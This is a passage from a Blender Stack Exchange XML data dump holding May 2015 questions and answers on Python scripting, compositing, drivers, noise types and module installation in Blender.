LastActivityDate="2015-05-06T15:13:17.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30483" PostTypeId="1" AcceptedAnswerId="30486" CreationDate="2015-05-06T09:41:51.903" Score="-2" ViewCount="1747" Body="&lt;p&gt;@Jerryno&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to hide or show mesh object depending on the visibility of the layer&#xA;I adapted your code. It's not working why ?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;On visibility of armature layer[0] the object ie Cube should be&#xA;  visible and on hiding of armature layer[0] Cube should hide&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B0jpq2cgNh8zMnpaQS1JaVFBRHM/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;the test file&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class Watcher:&#xA;    def __init__(self, object, property, function):&#xA;        #if the property object needs deep copy&#xA;        try :&#xA;            self.oldValue = getattr(object, property).copy()&#xA;            self.newValue = getattr(object, property).copy()&#xA;            print(&quot;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt; try  self.oldValue  &amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&quot;,self.oldValue)&#xA;        #if the property object doesn't need it (and don't have a copy method)&#xA;        except AttributeError: &#xA;            self.oldValue = getattr(object, property)&#xA;            self.newValue = getattr(object, property)&#xA;            print(&quot;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;AttributeError  self.newValue &amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&quot;,self.newValue[0],self.oldValue[0])&#xA;&#xA;        self.object = object&#xA;        self.property = property&#xA;        self.function = function&#xA;&#xA;    #Call the function if the object property changed&#xA;    def update(self):&#xA;        if (self.oldValue[0] != self.newValue[0]):&#xA;            print(self.oldValue[0] , self.newValue[0])&#xA;            self.function(object=self.object, new=self.newValue, old=self.oldValue)&#xA;&#xA;# this holds all the watchers&#xA;watchers = []&#xA;def add_watcher(object, property, function):&#xA;    watchers.append(Watcher(object,property,function))&#xA;&#xA;# &#xA;def visibility_change(object, new, old):&#xA;    print(object)&#xA;    print(&quot;old value: &quot; , old[0])&#xA;    print(&quot;new value: &quot; , new[0])&#xA;    if (new == True):&#xA;        bpy.data.objects[&quot;Cube&quot;].hide = False&#xA;        return&#xA;    else :&#xA;        bpy.data.objects[&quot;Cube&quot;].hide = True&#xA;        return&#xA;&#xA;# Watch layer visibility&#xA;add_watcher(bpy.data.armatures[&quot;Armature&quot;], &quot;layers&quot;, visibility_change)&#xA;&#xA;def watcher(scene):&#xA;    &quot;&quot;&quot;This function will be run everytime after scene updates&quot;&quot;&quot;&#xA;    global watchers&#xA;    for watcher in watchers:&#xA;        watcher.update()&#xA;    return&#xA;&#xA;# add handler if not in app.handlers&#xA;if watcher not in bpy.app.handlers.scene_update_post:&#xA;    bpy.app.handlers.scene_update_post.append(watcher)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="778" LastEditorUserId="778" LastEditDate="2015-05-06T11:35:03.457" LastActivityDate="2015-05-06T11:35:03.457" Title="How to toggle Object visibility driven by armature layer visibility using python?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30484" PostTypeId="1" AcceptedAnswerId="30485" CreationDate="2015-05-06T11:21:03.383" Score="2" ViewCount="741" Body="&lt;p&gt;I am trying to get the hang of noise / perlin noise / simplex noise for procedural generation of models and textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using &lt;code&gt;mathutils.noise.noise()&lt;/code&gt; for getting a noise value. The api is mentioning different noise.types within this module. &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/mathutils.noise.html&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/api/blender_python_api_2_74_release/mathutils.noise.html&lt;/a&gt;&lt;br&gt;&#xA;For example: &lt;code&gt;mathutils.noise.noise(position, noise_basis=noise.types.STDPERLIN)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately there aren't any stated.&lt;br&gt;&#xA;Where can I find this information?&lt;/p&gt;&#xA;" OwnerUserId="13978" LastEditorUserId="2217" LastEditDate="2015-05-06T13:09:55.693" LastActivityDate="2015-05-06T13:09:55.693" Title="What noise.types are implemented within blender?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30485" PostTypeId="2" ParentId="30484" CreationDate="2015-05-06T11:27:35.157" Score="3" Body="&lt;p&gt;In Blender python console type &lt;code&gt;noise.types.&lt;/code&gt; and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Space&lt;/kbd&gt; and it will list all types :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; noise.types.&#xA;                BLENDER&#xA;                CELLNOISE&#xA;                NEWPERLIN&#xA;                STDPERLIN&#xA;                VORONOI_CRACKLE&#xA;                VORONOI_F1&#xA;                VORONOI_F2&#xA;                VORONOI_F2F1&#xA;                VORONOI_F3&#xA;                VORONOI_F4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-06T11:27:35.157" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30486" PostTypeId="2" ParentId="30483" CreationDate="2015-05-06T11:33:59.983" Score="1" Body="&lt;p&gt;To achieve the goal you don't need script, you can drive the object visibility with classic driver.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In outliner right-click the object eye (or render) icon and select Add Driver:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UfRPu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Setup the driver like this ('layers' is an array and 0 point to the first layer, the values are 0 (hidden) or 1(visible)):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T8aMJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now your object visibility is driven by the armature layer visibility. The driver will not update on it's own, you need to change the frame to see it in action.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-05-06T11:33:59.983" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30487" PostTypeId="1" AcceptedAnswerId="30993" CreationDate="2015-05-06T12:34:43.507" Score="7" ViewCount="1927" Body="&lt;p&gt;How to add an eyedropper functionality to &lt;code&gt;prop_search&lt;/code&gt; in my addon?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;col.prop_search(scene, &quot;string_property&quot;, context.scene, &quot;objects&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code will create &lt;code&gt;prop_search&lt;/code&gt; just like on the animation below, but without an eyedropper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oay80.gif&quot; alt=&quot;eyedropper&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14189" LastEditorUserId="2217" LastEditDate="2015-05-06T13:01:16.363" LastActivityDate="2020-08-15T13:09:15.123" Title="Object selection box with eyedropper" Tags="&lt;python&gt;&lt;interface&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30488" PostTypeId="1" AcceptedAnswerId="30613" CreationDate="2015-05-06T12:40:07.807" Score="7" ViewCount="523" Body="&lt;p&gt;I create a auto setup matcap texture addon and i'd like to know if it should be possible to &quot;require&quot; blender to update N panel.&#xA;Got a template_preview and it should be great that it refresh automaticaly.&#xA;If it really not possible, is it possible to get the texture list box or did i have to create my own texture list ?&lt;/p&gt;&#xA;" OwnerUserId="11582" LastActivityDate="2015-05-15T17:36:22.507" Title="Require Blender to update N or T panel" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30489" PostTypeId="1" CreationDate="2015-05-06T12:47:10.423" Score="2" ViewCount="681" Body="&lt;p&gt;I am working on motion planning for automatic vehicles and like to use blender for two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Define scenes with obstacles, both static and moving, and export them to do calculations with&lt;/li&gt;&#xA;&lt;li&gt;Feed some objects with pre-calculated trajectories (that is, &quot;motion path&quot;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The question is: what's the best way to do both things?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A big benefit for me would be that I had a very good scenario editor and a good animation program to display my results.&lt;/p&gt;&#xA;" OwnerUserId="14191" LastEditorUserId="2217" LastEditDate="2015-05-06T12:58:42.340" LastActivityDate="2021-03-02T19:03:00.403" Title="Export motion path" Tags="&lt;animation&gt;&lt;export&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30490" PostTypeId="2" ParentId="30407" CreationDate="2015-05-06T13:08:00.753" Score="3" Body="&lt;p&gt;I have fireflies on a glossy surface - caused by particle emitters.  I'm addressing this by rendering the particles as a separate pass, along with a non-glossy parent object (parent of the particle emitter).  To compensate for the lack of illumination in the non-particle render pass, I'm using a point light to serve as a proxy light source.  This is a very pedestrian method but eliminates virtually all my fireflies, for now.  So, sun and point lamps provide all the bounced lighting for reflective or glossy objects.  Sometimes multiple render passes are also faster than rendering a single complete frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't upload anything because of a client NDA, but this is not especially clever or complicated.&lt;/p&gt;&#xA;" OwnerUserId="14178" LastActivityDate="2015-05-06T13:08:00.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30492" PostTypeId="2" ParentId="964" CreationDate="2015-05-06T13:15:33.360" Score="19" Body="&lt;p&gt;Also check duplication setting of the object. I copied a part of existing mesh and separated the copied part to a new mesh. After doing this, Duplication setting for this new object was set to &quot;Group&quot;. I changed it to &quot;None&quot; and the object finally appeared in rendered view. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FPMUK.png&quot; alt=&quot;Correct Duplication Setting&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14193" LastActivityDate="2015-05-06T13:15:33.360" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30493" PostTypeId="2" ParentId="30466" CreationDate="2015-05-06T13:30:34.677" Score="2" Body="&lt;p&gt;One easy solution is to add another plane which will be use only for collisions.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Turn off the rigid body on the floor you have now.&lt;/li&gt;&#xA;&lt;li&gt;Add a new plane, and position it so that it is at (or sightly below) the top of the bumps on your original floor.&lt;/li&gt;&#xA;&lt;li&gt;Add passive rigid body physics to the new plane.&lt;/li&gt;&#xA;&lt;li&gt;Disable render of the collision only plane, by unticking the camera icon for it in the Outliner.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KBRAR.png&quot; alt=&quot;restrict render in the outliner&quot;&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-05-06T13:30:34.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30494" PostTypeId="2" ParentId="29007" CreationDate="2015-05-06T13:57:56.397" Score="4" Body="&lt;p&gt;You could also play with &lt;a href=&quot;https://github.com/JacquesLucke/animation_nodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Animation Nodes&lt;/strong&gt;&lt;/a&gt; Addon by using &lt;strong&gt;Location Velocity&lt;/strong&gt; and &lt;strong&gt;Rotation Velocity&lt;/strong&gt; values of the &lt;code&gt;Object Info&lt;/code&gt; Node. Following example uses translation velocity values to drive the &lt;strong&gt;strength value of an emission shader&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JsfiP.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;br/&gt;&#xA;&lt;em&gt;Test rendering of a simple sphere animation&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create an &lt;code&gt;Object Info Node&lt;/code&gt;,&lt;/li&gt;&#xA;&lt;li&gt;Split the velocity values (x,y,z) into single ones by the help of a &lt;code&gt;Seperate Vector Node&lt;/code&gt;, &lt;/li&gt;&#xA;&lt;li&gt;Add &lt;code&gt;Math Nodes&lt;/code&gt; to calculate the &lt;strong&gt;sum of the x,y,z velocity&lt;/strong&gt; and &lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;code&gt;Cycles Material Output Node&lt;/code&gt; to &lt;strong&gt;plug the result into a shader value&lt;/strong&gt;:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6nrtU.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6nrtU.jpg&quot; alt=&quot;enter image description here&quot;&gt; &#xA;&lt;em&gt;Scene Setup (click to enlarge)&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This example is just an idea, things like &lt;strong&gt;combining Location Velocity and Rotation Velocity values&lt;/strong&gt; or &lt;strong&gt;creating a color by these values&lt;/strong&gt; are also possible with simple math, of course. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4xfy3.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4xfy3.gif&quot; alt=&quot;enter image description here&quot;&gt; &#xA;&lt;em&gt;Preview Scene (click to enlarge)&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2015-05-09T16:50:56.690" LastActivityDate="2015-05-09T16:50:56.690" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30495" PostTypeId="1" AcceptedAnswerId="30533" CreationDate="2015-05-06T14:04:40.603" Score="3" ViewCount="170" Body="&lt;p&gt;I have this mesh and I did a grid filling. I converted quads to tris but why do I have quad faces left, upper left face for example?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/99Ukw.png&quot; alt=&quot;plane mesh&quot;&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QB91X.png&quot; alt=&quot;quads to tris&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14188" LastEditorUserId="2217" LastEditDate="2015-05-06T14:14:28.343" LastActivityDate="2015-05-07T02:40:05.330" Title="quads to tris leaving some quads" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30496" PostTypeId="1" CreationDate="2015-05-06T14:50:20.967" Score="3" ViewCount="1100" Body="&lt;p&gt;I made a nice (imho) visualization of my data that can be rendered using cycles, but is there a way to display the x,y,z axes? (what about adding text along each of them?)&lt;br&gt;&#xA;I guess I could create my own solution, it just seems strange there is no way to visualize the axes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see in a lot of images evidence that there should be at least some way to visualize the axes.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/J0cX9.jpg&quot; alt=&quot;example image visualizing the axes&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1048" LastEditorUserId="2217" LastEditDate="2015-05-06T15:09:21.537" LastActivityDate="2016-10-28T18:14:30.667" Title="Add renderable axis object" Tags="&lt;objects&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30498" PostTypeId="1" CreationDate="2015-05-06T15:17:34.627" Score="3" ViewCount="408" Body="&lt;p&gt;I've added an image. Unfortunately, when I render the scene the image looks washed out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to intensify the colours of an image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&#xA;Meri&lt;/p&gt;&#xA;" OwnerUserId="14023" LastActivityDate="2015-05-06T15:20:24.693" Title="Is there a way to intensify the colours of an image?" Tags="&lt;light&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30499" PostTypeId="2" ParentId="30498" CreationDate="2015-05-06T15:20:24.693" Score="3" Body="&lt;p&gt;Use the Hue/Saturation node. Increasing the Saturation will increase the color intensity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SiSgc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that there are other factors that could be resulting in a washed out render. Also this is a Cycles specific answer.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-05-06T15:20:24.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30500" PostTypeId="1" CreationDate="2015-05-06T15:55:50.327" Score="2" ViewCount="287" Body="&lt;p&gt;I'm trying to integrate transparent objects rendered with cycles into live footage. The problem is that when compositing, even with alpha, the original grey sky is rendered through the glass instead of the footage. I'm wondering what the proper workflow is for cycles-live integration, and what principle I'm misunderstanding in this failed attempt.&lt;img src=&quot;https://i.stack.imgur.com/HYIDB.png&quot; alt=&quot;Screenshot&quot;&gt; Here's an example of trying to use the image (soon to be movie) as an environment map: &lt;img src=&quot;https://i.stack.imgur.com/5Zo2z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14196" LastEditorUserId="14196" LastEditDate="2015-05-06T16:33:24.923" LastActivityDate="2015-05-06T16:33:24.923" Title="Cycles Integrating glass into live footage" Tags="&lt;cycles-render-engine&gt;&lt;workflow&gt;&lt;compositor&gt;&lt;transparency&gt;&lt;render-passes&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30502" PostTypeId="1" CreationDate="2015-05-06T17:22:47.593" Score="1" ViewCount="352" Body="&lt;p&gt;This is my first time going through the process of modeling something start to finish and I'm running into a problem with the normal map. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a high and low poly version, the low has uvs. Now I'm trying to bring back the detail with a normal map but it doesn't seem to be coming through right. What is causing the distorions on the original?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eBAtP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7524" LastActivityDate="2015-05-06T17:22:47.593" Title="Normal Map Distortion Problem" Tags="&lt;normals&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30503" PostTypeId="1" AcceptedAnswerId="30506" CreationDate="2015-05-06T18:08:35.080" Score="1" ViewCount="1426" Body="&lt;p&gt;I have a video in the video clip editor,and I want to save the current frame as a photo om my computer,is there is any fast way to save an image directly from the video clip editor?&lt;/p&gt;&#xA;" OwnerUserId="5794" LastActivityDate="2015-05-06T18:57:11.700" Title="Save image in video clip editor?" Tags="&lt;image&gt;&lt;video&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30505" PostTypeId="1" CreationDate="2015-05-06T18:53:21.680" Score="4" ViewCount="1544" Body="&lt;p&gt;I masked an image in the UV/Image editor masking section. I then used that mask in the compositor for background replacement. However, the mask size seems to be different. Why is that? Here's a screenshot:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UXszu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14196" LastActivityDate="2015-05-06T18:59:43.530" Title="Why is the Mask size mismatched in the Compositor?" Tags="&lt;compositor&gt;&lt;image&gt;&lt;masking&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30506" PostTypeId="2" ParentId="30503" CreationDate="2015-05-06T18:57:11.700" Score="3" Body="&lt;p&gt;&lt;kbd&gt;Crl&lt;/kbd&gt;+&lt;kbd&gt;F3&lt;/kbd&gt; is the shortcut to save images from any screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, in the preview window you can press the camera button to render the active viewport. The rendered image will then be available in the UV/Image viewer, where you can then click View-&gt;Save As Image (or &lt;kbd&gt;Crl&lt;/kbd&gt;+&lt;kbd&gt;F3&lt;/kbd&gt;)&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-05-06T18:57:11.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30507" PostTypeId="2" ParentId="30376" CreationDate="2015-05-06T18:58:43.683" Score="2" Body="&lt;p&gt;The problem is that the image you are saving is entirely transparent except for the lights on the wings. You can't see this in blender because you have selected the &lt;em&gt;RGB&lt;/em&gt; display mode, which disables the effect of the alpha channel. If you select the &lt;em&gt;RGBA&lt;/em&gt; display mode in the header of the image editor, then the problem becomes clear:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pVxqr.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a quick fix, you could disable &lt;em&gt;Use Alpha&lt;/em&gt; on the composite node and then save the image as RGB instead of RGBA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in case you want an alpha channel, then the cause of this lies in your compositing setup (Be sure to select &lt;em&gt;RGBA&lt;/em&gt; in the header here too, so you can see what's going on).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mix/Add nodes don't handle alpha very smartly on their own, so you'll have to handle alpha for them, or use some &lt;em&gt;alpha over&lt;/em&gt; nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that add nodes literally just add the values of all the pixels together. As a result your spaceships are coming out a few times brighter than they would be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I've remade your compositing setup, working from the bottom (here the bottom is the background, which goes under all other elements) to the top (lens flairs/bloom effects generally go above all other elements):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B1ojo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compositing things in this order makes a lot of this alpha handling unnecessary, and generally avoids extra headaches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/225/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=225&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-05-08T20:44:22.443" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30508" PostTypeId="2" ParentId="30505" CreationDate="2015-05-06T18:59:43.530" Score="3" Body="&lt;p&gt;The reason seems to be that the render resolution didn't match up with the image size.&lt;/p&gt;&#xA;" OwnerUserId="14196" LastActivityDate="2015-05-06T18:59:43.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30509" PostTypeId="2" ParentId="26586" CreationDate="2015-05-06T19:41:58.957" Score="2" Body="&lt;p&gt;I just encountered this issue in blender and what I found out is than it is better to apply any modifiers, if you are using any, like the subsurface modifier. After i applied the modifiers the hairs vanished from the origin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is very &lt;strong&gt;important&lt;/strong&gt; that you first remove the hair particle system from the object and then apply the modifiers, and then again apply the hair particle system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know for sure if this will work for you also, but better give it a try if you still have this issue. &lt;/p&gt;&#xA;" OwnerUserId="8036" LastEditorUserId="8036" LastEditDate="2015-05-13T05:29:23.883" LastActivityDate="2015-05-13T05:29:23.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30510" PostTypeId="1" AcceptedAnswerId="30517" CreationDate="2015-05-06T19:57:55.400" Score="0" ViewCount="3485" Body="&lt;p&gt;For some of my python scrips i need additional modules like pytables. I followed the instructions &lt;a href=&quot;https://blender.stackexchange.com/questions/5287/using-3rd-party-python-modules&quot;&gt;here&lt;/a&gt;, but nothing worked for me:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;first I set the &lt;code&gt;PATH&lt;/code&gt; and &lt;code&gt;PythonPath&lt;/code&gt; system vars to &lt;code&gt;C:\Python34&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;then I tried to copy the module files from &lt;code&gt;C:\Python34\Lib\site-packages&lt;/code&gt; to &lt;code&gt;C:\Program Files\Blender Foundation\Blender\2.74\scripts\modules&lt;/code&gt;, but when I try to import a module in the blender python console, it gave me an error (see below)&lt;/li&gt;&#xA;&lt;li&gt;I deleted the C:\Program Files\Blender Foundation\Blender\2.74\python, but then in the blender system console it says: &lt;code&gt;Warning: bundled python not found and is expected on this platform. &amp;lt;if you build with CMake: 'install' target max have not been build&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;this error:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import tables &#xA;Traceback (most recent call last):   File &amp;quot;&amp;lt;blender_console&amp;gt;&amp;quot;, line 1, in &amp;lt;module&amp;gt;   File &amp;quot;C:\Program Files\Blender &#xA;Foundation\Blender\2.74\scripts\modules\tables\__init__.py&amp;quot;, line 25, in &amp;lt;module&amp;gt;&#xA;import numpy   File &amp;quot;C:\Program Files\Blender Foundation\Blender\2.74\scripts\modules\numpy\__init__.py&amp;quot;, line 185, in &amp;lt;module&amp;gt;&#xA;from . import add_newdocs   File &amp;quot;C:\Program Files\Blender Foundation\Blender\2.74\scripts\modules\numpy\add_newdocs.py&amp;quot;, line 13, in &amp;lt;module&amp;gt;&#xA;from numpy.lib import add_newdoc   File &amp;quot;C:\Program Files\Blender Foundation\Blender\2.74\scripts\modules\numpy\lib\__init__.py&amp;quot;, line&#xA;8, in &amp;lt;module&amp;gt;&#xA;from .type_check import *   File &amp;quot;C:\Program Files\Blender Foundation\Blender\2.74\scripts\modules\numpy\lib\type_check.py&amp;quot;, line 11, in &amp;lt;module&amp;gt;&#xA;import numpy.core.numeric as _nx   File &amp;quot;C:\Program Files\Blender Foundation\Blender\2.74\scripts\modules\numpy\core\__init__.py&amp;quot;, line 6, in &amp;lt;module&amp;gt;&#xA;from . import multiarray ImportError: DLL load failed: %1 ist keine zulässige Win32-Anwendung.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I am using Win7 64bit version, python 3.42 and Blender 2.74.&lt;/p&gt;&#xA;&lt;p&gt;I really don't know what I can still do to import these modules.&lt;/p&gt;&#xA;" OwnerUserId="14054" LastEditorUserId="-1" LastEditorDisplayName="user7952" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-06-25T14:30:42.433" Title="Python module installation does not work" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30511" PostTypeId="1" AcceptedAnswerId="30636" CreationDate="2015-05-06T20:08:51.273" Score="2" ViewCount="470" Body="&lt;p&gt;I have two action actuators, and I need to switch between the two immediately once a variable has changed.  I have tried multiple things such as logic bricking the set up and using this script:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;cont = bge.logic.getCurrentController()&#xA;own = cont.owner&#xA;sens = cont.sensors['Move']&#xA;if sens.positive:&#xA;    if own['Y Axis'] == 1:&#xA;        cont.activate(cont.actuators['Y Axis'])&#xA;        cont.deactivate(cont.actuators['X Axis'])&#xA;    else:&#xA;        cont.activate(cont.actuators['X Axis'])&#xA;        cont.deactivate(cont.actuators['Y Axis'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;own['Y Axis']&lt;/code&gt; is the variable that this is dependent on.  It works the first time the variable is switched, and then it doesn't work afterwards.  The actuators, Y Axis and X Axis are Action actuators with the Loop End playback type set.  How can I do this?  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12805" LastEditorUserId="5113" LastEditDate="2015-05-08T23:55:18.053" LastActivityDate="2015-05-08T23:55:18.053" Title="How to switch between Action Actuators" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
